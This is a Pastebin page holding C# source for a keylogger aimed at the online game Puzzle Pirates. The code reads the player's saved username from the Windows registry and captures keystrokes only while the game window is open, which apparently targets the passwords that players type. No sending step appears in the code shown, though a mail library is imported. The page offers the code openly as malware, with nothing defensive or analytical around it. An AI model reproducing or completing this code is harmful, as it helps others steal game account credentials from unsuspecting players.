Shrooms

Puzzle Pirates Keylogger

Aug 27th, 2012
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 13.09 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. using System.Runtime.InteropServices;
  11. using System.Threading;
  12. using System.Diagnostics;
  13. using System.Net.Mail;
  14. using Microsoft.Win32;
  15.  
  16. namespace PPKeylogger
  17. {
  18.     public partial class Form1 : Form
  19.     {
  20.         [DllImport("user32.dll")]
  21.         public static extern int FindWindow(string lpClassName, string lpWindowName);
  22.  
  23.         delegate void SetTextCallback(int key, bool iscaps, bool isshift);
  24.  
  25.         private KeyClass KeyClass;
  26.  
  27.         private bool IsDisabled = false;
  28.  
  29.         private string KBText = "";
  30.         private string CPInfo = "";
  31.         private string PPRegistry = (string)Registry.GetValue(@"HKEY_CURRENT_USER\Software\JavaSoft\Prefs\rsrc\config\yohoho\client", "username", null);
  32.  
  33.         public Form1()
  34.         {
  35.             InitializeComponent();
  36.            
  37.             KeyClass = new KeyClass();
  38.             KeyClass.displayinfodelegate += new KeyClass.DisplayInfoDelegate(KeyClass_Set);
  39.             KeyClass.StartCaptureKey();
  40.         }
  41.  
  42.         private void Form1_Load(object sender, EventArgs e)
  43.         {
  44.             if (PPRegistry != null)
  45.             {
  46.                 System.Console.Write("The last typed username was: " + PPRegistry + "\n");
  47.             }
  48.         }
  49.  
  50.         void KeyClass_Set(int key, bool iscaps, bool isshift)
  51.         {
  52.             try
  53.             {
  54.                 SetTextCallback d = new SetTextCallback(CaptureKeys);
  55.                 this.Invoke(d, key, iscaps, isshift);
  56.             }
  57.             catch { }
  58.         }
  59.  
  60.         private void CaptureKeys(int key, bool iscaps, bool isshift)
  61.         {
  62.             if (IsDisabled)
  63.             {
  64.                 return;
  65.             }
  66.  
  67.             string str_key = "";
  68.  
  69.             if (key == (int)System.Windows.Forms.Keys.D1 || key == (int)System.Windows.Forms.Keys.NumPad1)
  70.             {
  71.                 if (!isshift)
  72.                 {
  73.                     str_key = "1";
  74.                 }
  75.                 else
  76.                 {
  77.                     str_key = "!";
  78.                 }
  79.                 KBText += str_key;
  80.                 CPInfo = KBText;
  81.                 return;
  82.             }
  83.  
  84.             if (key == (int)System.Windows.Forms.Keys.D2 || key == (int)System.Windows.Forms.Keys.NumPad2)
  85.             {
  86.                 if (!isshift)
  87.                 {
  88.                     str_key = "2";
  89.                 }
  90.                 else
  91.                 {
  92.                     str_key = "@";
  93.                 }
  94.                 KBText += str_key;
  95.                 CPInfo = KBText;
  96.                 return;
  97.             }
  98.  
  99.             if (key == (int)System.Windows.Forms.Keys.D3 || key == (int)System.Windows.Forms.Keys.NumPad3)
  100.             {
  101.                 if (!isshift)
  102.                 {
  103.                     str_key = "3";
  104.                 }
  105.                 else
  106.                 {
  107.                     str_key = "#";
  108.                 }
  109.                 KBText += str_key;
  110.                 CPInfo = KBText;
  111.                 return;
  112.             }
  113.  
  114.             if (key == (int)System.Windows.Forms.Keys.D4 || key == (int)System.Windows.Forms.Keys.NumPad4)
  115.             {
  116.                 if (!isshift)
  117.                 {
  118.                     str_key = "4";
  119.                 }
  120.                 else
  121.                 {
  122.                     str_key = "$";
  123.                 }
  124.                 KBText += str_key;
  125.                 CPInfo = KBText;
  126.                 return;
  127.             }
  128.  
  129.             if (key == (int)System.Windows.Forms.Keys.D5 || key == (int)System.Windows.Forms.Keys.NumPad5)
  130.             {
  131.                 if (!isshift)
  132.                 {
  133.                     str_key = "5";
  134.                 }
  135.                 else
  136.                 {
  137.                     str_key = "%";
  138.                 }
  139.                 KBText += str_key;
  140.                 CPInfo = KBText;
  141.                 return;
  142.             }
  143.  
  144.             if (key == (int)System.Windows.Forms.Keys.D6 || key == (int)System.Windows.Forms.Keys.NumPad6)
  145.             {
  146.                 if (!isshift)
  147.                 {
  148.                     str_key = "6";
  149.                 }
  150.                 else
  151.                 {
  152.                     str_key = "^";
  153.                 }
  154.                 KBText += str_key;
  155.                 CPInfo = KBText;
  156.                 return;
  157.             }
  158.  
  159.             if (key == (int)System.Windows.Forms.Keys.D7 || key == (int)System.Windows.Forms.Keys.NumPad7)
  160.             {
  161.                 if (!isshift)
  162.                 {
  163.                     str_key = "7";
  164.                 }
  165.                 else
  166.                 {
  167.                     str_key = "&";
  168.                 }
  169.                 KBText += str_key;
  170.                 CPInfo = KBText;
  171.                 return;
  172.             }
  173.  
  174.             if (key == (int)System.Windows.Forms.Keys.D8 || key == (int)System.Windows.Forms.Keys.NumPad8)
  175.             {
  176.                 if (!isshift)
  177.                 {
  178.                     str_key = "8";
  179.                 }
  180.                 else
  181.                 {
  182.                     str_key = "*";
  183.                 }
  184.                 KBText += str_key;
  185.                 CPInfo = KBText;
  186.                 return;
  187.             }
  188.  
  189.             if (key == (int)System.Windows.Forms.Keys.D9 || key == (int)System.Windows.Forms.Keys.NumPad9)
  190.             {
  191.                 if (!isshift)
  192.                 {
  193.                     str_key = "9";
  194.                 }
  195.                 else
  196.                 {
  197.                     str_key = "(";
  198.                 }
  199.                 KBText += str_key;
  200.                 CPInfo = KBText;
  201.                 return;
  202.             }
  203.  
  204.             if (key == (int)System.Windows.Forms.Keys.D0 || key == (int)System.Windows.Forms.Keys.NumPad0)
  205.             {
  206.                 if (!isshift)
  207.                 {
  208.                     str_key = "0";
  209.                 }
  210.                 else
  211.                 {
  212.                     str_key = ")";
  213.                 }
  214.                 KBText += str_key;
  215.                 CPInfo = KBText;
  216.                 return;
  217.             }
  218.  
  219.             if (key == (int)System.Windows.Forms.Keys.Oemcomma)
  220.             {
  221.                 if (!isshift)
  222.                 {
  223.                     str_key = ",";
  224.                 }
  225.                 else
  226.                 {
  227.                     str_key = "<";
  228.                 }
  229.                 KBText += str_key;
  230.                 CPInfo = KBText;
  231.                 return;
  232.             }
  233.  
  234.             if (key == (int)System.Windows.Forms.Keys.OemPeriod)
  235.             {
  236.                 if (!isshift)
  237.                 {
  238.                     str_key = ".";
  239.                 }
  240.                 else
  241.                 {
  242.                     str_key = ">";
  243.                 }
  244.                 KBText += str_key;
  245.                 CPInfo = KBText;
  246.                 return;
  247.             }
  248.  
  249.             if (key == (int)System.Windows.Forms.Keys.OemSemicolon)
  250.             {
  251.                 if (!isshift)
  252.                 {
  253.                     str_key = ";";
  254.                 }
  255.                 else
  256.                 {
  257.                     str_key = ":";
  258.                 }
  259.                 KBText += str_key;
  260.                 CPInfo = KBText;
  261.                 return;
  262.             }
  263.  
  264.             if (key == (int)System.Windows.Forms.Keys.OemQuotes)
  265.             {
  266.                 if (!isshift)
  267.                 {
  268.                     str_key = "'";
  269.                 }
  270.                 else
  271.                 {
  272.                     str_key = '"'.ToString();
  273.                 }
  274.                 KBText += str_key;
  275.                 CPInfo = KBText;
  276.                 return;
  277.             }
  278.  
  279.             if (key == (int)System.Windows.Forms.Keys.OemOpenBrackets)
  280.             {
  281.                 if (!isshift)
  282.                 {
  283.                     str_key = "[";
  284.                 }
  285.                 else
  286.                 {
  287.                     str_key = "{";
  288.                 }
  289.                 KBText += str_key;
  290.                 CPInfo = KBText;
  291.                 return;
  292.             }
  293.  
  294.             if (key == (int)System.Windows.Forms.Keys.OemCloseBrackets)
  295.             {
  296.                 if (!isshift)
  297.                 {
  298.                     str_key = "]";
  299.                 }
  300.                 else
  301.                 {
  302.                     str_key = "}";
  303.                 }
  304.                 KBText += str_key;
  305.                 CPInfo = KBText;
  306.                 return;
  307.             }
  308.  
  309.             if (key == (int)System.Windows.Forms.Keys.OemMinus)
  310.             {
  311.                 if (!isshift)
  312.                 {
  313.                     str_key = "-";
  314.                 }
  315.                 else
  316.                 {
  317.                     str_key = "_";
  318.                 }
  319.                 KBText += str_key;
  320.                 CPInfo = KBText;
  321.                 return;
  322.             }
  323.  
  324.             if (key == (int)System.Windows.Forms.Keys.Oemplus)
  325.             {
  326.                 if (!isshift)
  327.                 {
  328.                     str_key = "=";
  329.                 }
  330.                 else
  331.                 {
  332.                     str_key = "+";
  333.                 }
  334.                 KBText += str_key;
  335.                 CPInfo = KBText;
  336.                 return;
  337.             }
  338.  
  339.             if (key == (int)System.Windows.Forms.Keys.OemBackslash)
  340.             {
  341.                 if (!isshift)
  342.                 {
  343.                     str_key = @"\";
  344.                 }
  345.                 else
  346.                 {
  347.                     str_key = "|";
  348.                 }
  349.                 KBText += str_key;
  350.                 CPInfo = KBText;
  351.                 return;
  352.             }
  353.  
  354.             if (key == (int)System.Windows.Forms.Keys.Oemtilde)
  355.             {
  356.                 if (!isshift)
  357.                 {
  358.                     str_key = "`";
  359.                 }
  360.                 else
  361.                 {
  362.                     str_key = "~";
  363.                 }
  364.                 KBText += str_key;
  365.                 CPInfo = KBText;
  366.                 return;
  367.             }
  368.  
  369.             if (key == (int)System.Windows.Forms.Keys.OemQuestion)
  370.             {
  371.                 if (!isshift)
  372.                 {
  373.                     str_key = "/";
  374.                 }
  375.                 else
  376.                 {
  377.                     str_key = "?";
  378.                 }
  379.                 KBText += str_key;
  380.                 CPInfo = KBText;
  381.                 return;
  382.             }
  383.  
  384.             if (key == (int)System.Windows.Forms.Keys.Multiply)
  385.             {
  386.                 str_key = "*";
  387.                 KBText += str_key;
  388.                 CPInfo = KBText;
  389.                 return;
  390.             }
  391.  
  392.             if (key == (int)System.Windows.Forms.Keys.Add)
  393.             {
  394.                 str_key = "+";
  395.                 KBText += str_key;
  396.                 CPInfo = KBText;
  397.                 return;
  398.             }
  399.  
  400.             if (key == (int)System.Windows.Forms.Keys.Subtract)
  401.             {
  402.                 str_key = "-";
  403.                 KBText += str_key;
  404.                 CPInfo = KBText;
  405.                 return;
  406.             }
  407.  
  408.             if (key == (int)System.Windows.Forms.Keys.Divide)
  409.             {
  410.                 str_key = "/";
  411.                 KBText += str_key;
  412.                 CPInfo = KBText;
  413.                 return;
  414.             }
  415.  
  416.             if (key == 110)
  417.             {
  418.                 str_key = ".";
  419.                 KBText += str_key;
  420.                 CPInfo = KBText;
  421.                 return;
  422.             }
  423.  
  424.             if (key == (int)System.Windows.Forms.Keys.Enter)
  425.             {
  426.                 str_key = "\n";
  427.                 KBText += str_key;
  428.                 CPInfo = KBText;
  429.                 return;
  430.             }
  431.  
  432.             if (key == (int)System.Windows.Forms.Keys.Space)
  433.             {
  434.                 str_key = " ";
  435.                 KBText += str_key;
  436.                 CPInfo = KBText;
  437.                 return;
  438.             }
  439.  
  440.             if (key == (int)System.Windows.Forms.Keys.Back)
  441.             {
  442.                 str_key = "[bs]";
  443.                 KBText += str_key;
  444.                 CPInfo = KBText;
  445.                 return;
  446.             }
  447.  
  448.             if (!System.Char.IsLetterOrDigit(Convert.ToChar(key)))
  449.             {
  450.                 return;
  451.             }
  452.  
  453.             if (iscaps && isshift)
  454.             {
  455.                 KBText += Convert.ToChar(key).ToString().ToLower();
  456.             }
  457.             else if (iscaps || isshift)
  458.             {
  459.                 KBText += Convert.ToChar(key).ToString().ToUpper();
  460.             }
  461.             else
  462.             {
  463.                 KBText += Convert.ToChar(key).ToString().ToLower();
  464.             }
  465.  
  466.             CPInfo = KBText;
  467.             System.Console.Write("The last typed keystroke was: " + CPInfo + "\n");
  468.         }
  469.  
  470.         private void timer1_Tick(object sender, EventArgs e)
  471.         {
  472.             if (FindWindow("SunAwtFrame", "Puzzle Pirates") > 0)
  473.             {
  474.                 IsDisabled = false;
  475.             }
  476.             else
  477.             {
  478.                 IsDisabled = true;
  479.             }
  480.         }
  481.     }
  482. }
  483.  
  484. // Credits to Andrew (Shrooms/Goomba)
Advertisement
Add Comment
Please, Sign In to add comment